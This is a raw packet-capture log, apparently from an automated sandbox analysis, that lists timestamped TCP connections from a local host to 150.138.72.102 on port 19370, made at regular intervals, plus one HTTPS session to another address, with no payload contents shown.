Oct 17, 2024 18:19:47.169473886 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.220170021 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.225018978 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.263446093 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.268553019 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.327996016 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.332974911 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.369857073 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.375032902 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.416739941 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.423336983 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.459743023 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.464925051 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.492954016 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.497885942 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.562827110 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.567778111 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.607801914 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.612894058 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.632425070 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:47.632492065 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.632536888 CEST	52315	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:47.637448072 CEST	19370	52315	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:52.898578882 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:52.903487921 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:52.903558016 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:52.904340982 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:52.909271002 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:52.958751917 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:52.963643074 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.005618095 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.010546923 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.079478979 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.084409952 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.144877911 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.149827003 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.183888912 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.188863039 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.204879999 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.209764004 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.247209072 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.252110004 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.281605959 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.286680937 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.325560093 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.330548048 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.353585005 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.358637094 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.398725986 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.403681993 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.454929113 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.459899902 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.495309114 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.500282049 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.569689035 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.574901104 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.626662970 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.631684065 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.652955055 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:53.653068066 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.653130054 CEST	52316	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:53.658087015 CEST	19370	52316	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.700701952 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.705741882 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.705827951 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.707040071 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.711990118 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.712878942 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.717741966 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.760447025 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.765777111 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.796998978 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.802144051 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.815346956 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.820389032 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.829807997 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.834646940 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.848536968 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.853548050 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.880426884 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.885562897 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.936201096 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.941186905 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:58.962487936 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:58.967483044 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.004388094 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.009304047 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.038338900 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.043517113 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.091142893 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.096174002 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.165338993 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.170454025 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.222664118 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.452755928 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.453046083 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.457988977 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.458117962 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.462908983 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.506839991 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:19:59.511672974 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.514995098 CEST	19370	52317	150.138.72.102	192.168.2.6
Oct 17, 2024 18:19:59.515055895 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:00.152842999 CEST	52317	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.062542915 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:05.062592983 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:05.062654018 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:05.063339949 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:05.063360929 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:05.083779097 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.102771044 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.102861881 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.103741884 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.114474058 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.114551067 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.122839928 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.204185009 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.256412029 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.256558895 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.290074110 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.290158033 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.307306051 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.307409048 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.313764095 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.323154926 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.330722094 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.357193947 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.362848997 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.392599106 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.397737026 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.459223986 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.469089031 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.523947001 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.603992939 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.604062080 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.615418911 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.629476070 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.634540081 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.657636881 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.662677050 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.699985027 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.704889059 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.750029087 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.823061943 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.823127031 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.882499933 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.882558107 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.889355898 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.925169945 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.936444998 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.950967073 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.981142998 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.981237888 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:05.984672070 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:05.984827042 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:06.045072079 CEST	52319	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:06.055742025 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:06.060631990 CEST	19370	52319	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:06.972810030 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:06.972902060 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:06.974693060 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:06.974714041 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:06.975624084 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:07.001753092 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:07.001969099 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:07.001981974 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:07.002103090 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:07.047415972 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:07.252383947 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:07.252963066 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:07.252963066 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:07.252995014 CEST	443	52318	40.115.3.253	192.168.2.6
Oct 17, 2024 18:20:07.253060102 CEST	52318	443	192.168.2.6	40.115.3.253
Oct 17, 2024 18:20:11.019937992 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.024868965 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.024956942 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.025625944 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.030697107 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.033879042 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.038932085 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.066798925 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.071772099 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.098345995 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.103316069 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.135272026 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.140419960 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.163758993 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.168792963 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.191903114 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.196870089 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.219815016 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.224720001 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.257467031 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.262393951 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.293627977 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.298587084 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.319713116 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.325329065 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.330197096 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.335483074 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.344255924 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.349781036 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.359610081 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.364491940 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.387887955 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.392951965 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.418253899 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.423135042 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.448265076 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.453563929 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.475785017 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.481621027 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.552090883 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.557774067 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.589659929 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.601795912 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.623770952 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.629786968 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.646667004 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.651645899 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.675256968 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.680536032 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.717973948 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.723035097 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.747569084 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.752789974 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.755285978 CEST	19370	52320	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:11.755379915 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:11.795111895 CEST	52320	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.799254894 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.804363012 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.804486036 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.805222034 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.810223103 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.866092920 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.872313023 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.893675089 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.898695946 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.928512096 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.933521032 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.961335897 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.966541052 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:16.982290983 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:16.987268925 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.036312103 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.041237116 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.066930056 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.071959019 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.103714943 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.108844042 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.138526917 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.143434048 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.186547041 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.191482067 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.211236954 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.216345072 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.228055000 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.232964993 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:17.268059969 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:17.619908094 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.320417881 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.320569038 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.320713043 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.321872950 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.321938992 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.322051048 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.322212934 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.323031902 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.323085070 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.323266029 CEST	52321	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:18.323913097 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.323957920 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.327613115 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.327653885 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.328675032 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.330646038 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.330687046 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:18.330724955 CEST	19370	52321	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.349457026 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.354377031 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.354454041 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.355180979 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.360239029 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.360297918 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.366302013 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.419461966 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.424382925 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.476044893 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.480870008 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.508454084 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.513376951 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.547421932 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.552563906 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.609980106 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.614900112 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.637584925 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.642591953 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.693903923 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.698870897 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.733789921 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.738689899 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.762451887 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.771754980 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.792555094 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.797571898 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.854707003 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.859631062 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.904678106 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.909730911 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.947721004 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.952666998 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:23.986808062 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:23.991843939 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:24.039020061 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:24.044173002 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:24.071715117 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:24.076845884 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:24.080267906 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:24.080353022 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:24.080476999 CEST	52322	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:24.085254908 CEST	19370	52322	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.109107971 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.114396095 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.114548922 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.115144014 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.120045900 CEST	19370	52323	150.138.72.102	192.168.2.6
